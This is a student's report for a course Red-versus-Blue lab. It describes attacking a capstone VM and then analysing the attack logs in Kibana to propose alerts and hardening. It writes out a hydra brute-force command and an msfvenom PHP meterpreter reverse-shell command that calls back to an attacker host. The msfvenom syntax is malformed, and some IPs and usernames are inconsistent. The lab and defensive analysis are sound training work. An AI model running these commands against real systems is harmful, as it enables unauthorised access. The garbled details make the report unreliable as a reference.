Week 20 Homework Deliverable: Red V Blue Project

For Week 20 homework, **you will submit a copy of your group presentation in addition to the Project Report below.** You can use the same copy of the presentation that you used to present on Day 3, but **everyone must submit their own, individual report of their findings.** Make sure you answer all questions and provide screenshots of commands and other supporting evidence.

Red V Blue Project Report

David Nicholson

11/06/2021

1. Overview

For this project, you were tasked to act as an offensive security, Red Team, to exploit a vulnerable Capstone VM. You were then tasked to use Kibana to analyze logs taken during the Red Team attack. As you analyzed, you used the data to develop ideas for new alerts that can improve your monitoring as the Blue Team. Even though you already knew what you did to exploit the target, analyzing the logs is still valuable as it teaches you: what your attack looks like from a defender's perspective, how stealthy or detectable your tactics are, and which kinds of alarms and alerts SOC and IR professionals can set to spot attacks like yours while they occur, rather than after. Finally, you were tasked to communicate your findings in the form of a presentation to your staff. However, in a real engagement, your client will pay you not to break into their network, but to teach them how to protect it. This is why both written and verbal communication skills are vital in the cybersecurity field.

Findings

**Day 1**

* Discover the IP address of the Linux web server.
  + What was this IP Address? 192.168.1.105 (see nmap.jpg)
* Locate the hidden directory on the web server.
  + What was the hidden directory? A folder located on the server with login instructions to access webdav server.
* Brute force the password for the hidden directory using the hydra command:
  + What was the full command that you ran for the hidden directory? hydra -l ashton -P rockyou.txt -s 80 -f -vV 192.168.1.105 http-get
  + /company folders/secret folder
* Break the hashed password with the Crack Station website or John the Ripper.
  + What was the cracked username and password? linux4u ( see crackedpass.jpeg)
* Connect to the server via WebDav.
  + How did you connect to the server via WebDav? Went to address outlined in file called 'connect to corp server'
  + What were your steps?
  + 1 . open folder on the left hand bar
  + 2. click "Other Locations"
  + 3 . type "dav : //172.16.84.205/webdav/ "
  + 4. use ryan and his pass (brute force)
* Upload a PHP reverse shell payload.
  + How did you create a PHP reverse shell payload? Created using
  + Msfvenom -p php/meterpreter/reverse.tcp Ihost:192.168.1.90lport:4444 >open.shell.php
  + How did you execute this payload that you uploaded to the site to open up a meterpreter session? Located php file and moved to webdav file share folder (see webdav images)
* Execute payload Find and capture the flag.
  + What was the command that you used to find the flag? Cd ../ ls cat flag.txt

**Day 2**

* Identify the offensive traffic.
  + Identify the traffic between your machine and the web machine:
    - When did the interaction occur? Oct 26- 27
    - What responses did the victim send back? 401,404
    - What data is concerning from the Blue Team perspective? The amount of unauthorized attempts( see bruteforce identifier)
* Find the request for the hidden directory.
  + In your attack, you found a secret folder. Let's look at that interaction between these two machines.
    - How many requests were made to this directory? At what time and from which IP address(es)? 36 from 192.168.1.90, 11-1pm
    - Which files were requested? What information did they contain? Asthon.txt and login instructions for webdav.
    - What kind of alarm would you set to detect this behavior in the future? Set alert for any unauthorized attempt to folder.
    - Identify at least one way to harden the vulnerable machine that would mitigate this attack. Remove the directory completely
* Identify the brute force attack.
  + After identifying the hidden directory, you used Hydra to brute-force the target server. Answer the following questions:
    - Can you identify packets specifically from Hydra?yes (see bruteforce identifier)
    - How many requests were made in the brute-force attack? Over 15000
    - How many requests had the attacker made before discovering the correct password in this one?
    - What kind of alarm would you set to detect this behavior in the future and at what threshold(s)? Alert if over 5 attempts fail
    - Identify at least one way to harden the vulnerable machine that would mitigate this attack. Have a login limit then attempt timeout
* Find the WebDav connection.
  + Use your dashboard to answer the following questions:
    - How many requests were made to this directory? 6
    - Which file(s) were requested? Ryan.txt
    - What kind of alarm would you set to detect such access in the future? Alert anytime an unverified machine attempts access ( see webdav)
    - Identify at least one way to harden the vulnerable machine that would mitigate this attack. Remove web share feature.
* Identify the reverse shell and meterpreter traffic.
  + To finish off the attack, you uploaded a PHP reverse shell and started a meterpreter shell session. Answer the following questions:
    - Can you identify traffic from the meterpreter session? Yes
    - What kinds of alarms would you set to detect this behavior in the future? Set alarm for any traffic on port 4444
    - Identify at least one way to harden the vulnerable machine that would mitigate this attack. Shut off all open ports.

1. Summarization

* Network Topology
  + What are the addresses and relationships of the machines involved?
  + Machines
  + IPv4 192.168.1.1
  + OS:Windows
  + Hostname:Hyper-V
  + Manager
  + IPv4 192.168.1.90
  + OS:Linux (Kali)
  + Hostname:Kali
  + IPv4 192.168.1.105
  + OS:Linux
  + Hostname:Capstone
  + IPv4 192.168.1.100
  + OS:Linux
  + Hostname:ELK
* Red Team
  + What were the three most critical vulnerabilities you discovered? Web accessible sharing folder, passwords and instructions to access server stored on same server.
* Blue Team
  + What evidence did you find in the logs of the attack? Found bruteforce evidence as well as weak passwords and unauthorized port forwarding.
  + What data should you be monitoring to detect these attacks next time? Login attempts and unauthorized access to folder attempts.
* Mitigation
  + What alarms should you set to detect this behavior next time? Alarms for failed login, remote folder login,and port activity.
  + What controls should you put in place on the target to prevent the attack from happening? Close ports not in use, set a timeout for login attempts, and remove folder access over open web connection.